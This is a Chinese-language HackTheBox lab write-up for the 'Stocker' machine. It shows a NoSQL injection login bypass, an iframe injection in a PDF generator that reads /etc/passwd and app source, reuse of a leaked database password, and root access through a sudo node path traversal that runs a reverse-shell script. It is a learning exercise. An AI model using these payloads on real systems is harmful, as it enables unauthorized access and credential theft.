March 2, 2023

Stocker

image.png

知识点

信息搜集

nmap -sS -sC -sV -Pn 10.10.11.196

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (0.65s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
|_http-generator: Eleventy v2.0.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds

开的服务比较少,就一个80和22,访问80站点:
echo 10.10.11.196 stocker.htb >> /etc/hosts
image.png
扫描目录也没发现可疑点,因此尝试爆破子域名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[/home/boogipop/gobuster-master]
└─# gobuster vhost -u http://stocker.htb/ -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 --append-domain
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/02/17 22:46:54 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]

这边gobuster后面必须加上--append-domain,这个参数的意思是在给出的domain前面再加一级domain,去掉这个选项你的字典就需要是完整的域名
发现了dev.stocker.htb,echo 10.10.11.196 dev.stocker.htb >>/etc/hosts
添加进hosts文件后访问网站:

NoSQL注入

一般碰到一个登录框,首先思路就有3种,sql注入,nosql注入,爆破,经过尝试sql注入和爆破都未果,并且也尝试过nosql,但是一直失败
image.png
没思路的时候想起来nodejs好像和json格式有点渊源,nodejs是可以接受req的json数据的,所以我就思考是不是格式给错了,尝试payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /login HTTP/1.1

Host: dev.stocker.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

Content-Length: 43

Origin: http://dev.stocker.htb

Connection: close

Referer: http://dev.stocker.htb/login

Cookie: connect.sid=s%3AC_14zHiq1gQ4WJLR29rNJBygb8UiC9sC.0xT4YzK5wQgFb0xURb4GuhUvcl1G7HEtqC%2FxazxOkVU

Upgrade-Insecure-Requests: 1



{"username":{"$ne":1},"password":{"$ne":1}}

image.png
登录成功,进入页面:
image.png
image.png
是一个购物界面,你购买之后他会返回一个PDF清单:
image.png

PDF导致的SSRF

image.png
在购买界面我们可以控制title的内容,也就控制了PDF文件标题内容,我们可以尝试嵌入HTML代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /api/order HTTP/1.1

Host: dev.stocker.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://dev.stocker.htb/stock

Content-Type: application/json

Origin: http://dev.stocker.htb

Content-Length: 156

Connection: close

Cookie: connect.sid=s%3AC_14zHiq1gQ4WJLR29rNJBygb8UiC9sC.0xT4YzK5wQgFb0xURb4GuhUvcl1G7HEtqC%2FxazxOkVU



{"basket":[{"_id":"638f116eeb060210cbd83a91","title":"<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>","description":"It's an axe.","image":"axe.jpg","price":12,"currentStock":21,"__v":0,"amount":1}]}

image.png
返回了orderid,我们访问pdf文件:
image.png
成功SSRF出了passwd文件,这里注意我们的useridangoose,这应该就是普通用户的名字,接着我们可以尝试读取网站源代码,这个网站是用express框架搭建的,并且域名为dev,因此可以猜到为/var/www/dev/index.js(这里有点牵强)
但是我们也可以通过报错信息得出目录位置:
image.png
报错信息中就可发现目录/var/www/dev,因此尝试读取/var/www/dev/index.js:
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
}),
})
);
app.use("/static", express.static(__dirname + "/assets"));
app.get("/", (req, res) => {
return res.redirect("/login");
});
app.get("/api/products", async (req, res) => {
if (!req.session.user) return res.json([]);
const products = await mongoose.model("Product").find();
return res.json(products);
});
app.get("/login", (req, res) => {
if (req.session.user) return res.redirect("/stock");
return res.sendFile(__dirname + "/templates/login.html");
});
app.post("/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
// TODO: Implement hashing
const user = await mongoose.model("User").findOne({ username, password });
if (!user) return res.redirect("/login?error=login-error");
req.session.user = user.id;
console.log(req.session);
return res.redirect("/stock");
});
app.post("/api/order", async (req, res) => {
if (!req.session.user) return res.json({});

发现了Mongodb的链接URL,其中有一串可疑密码IHeardPassphrasesArePrettySecure,这大概率就是用户angoose的密码

sudo Node提权

这边拿到用户名密码angoose/IHeardPassphrasesArePrettySecure,ssh连接,在用户目录拿到user.txt:
image.png
现在就是该思考怎么提权,首先找一下SUID权限:

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

image.png
啥都没有扑了个空,然后内核版本5.4.0并没什么漏洞,所以就开始思考能否利用服务进行提权,sudo -l查看可以sudo的指令:
image.png
/usr/bin/node /usr/local/scripts/*.js,我们可以调用nodejs的node指令运行/usr/local/scripts目录下的所有js文件,这样思路就明确了,创建恶意js文件,之后node运行获得root反弹shell

目录 Bypass Tricks

这里有个问题,就是scripts目录下不可写:
image.png
但是tmp目录可写,这里有个tricks,.,..代表当前目录和上级目录,也是包含在scripts/*.js中的,因此这里可以利用个目录穿越bypass
sudo node /usr/local/scripts/../../../tmp/evil.js,这样即可运行恶意js文件

1
2
exec=require('child_process')
exec.execSync('reverse_shell_payload');

接下来本地起一个监听nc -lvnp 7788
image.png
image.png
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#HackTheBox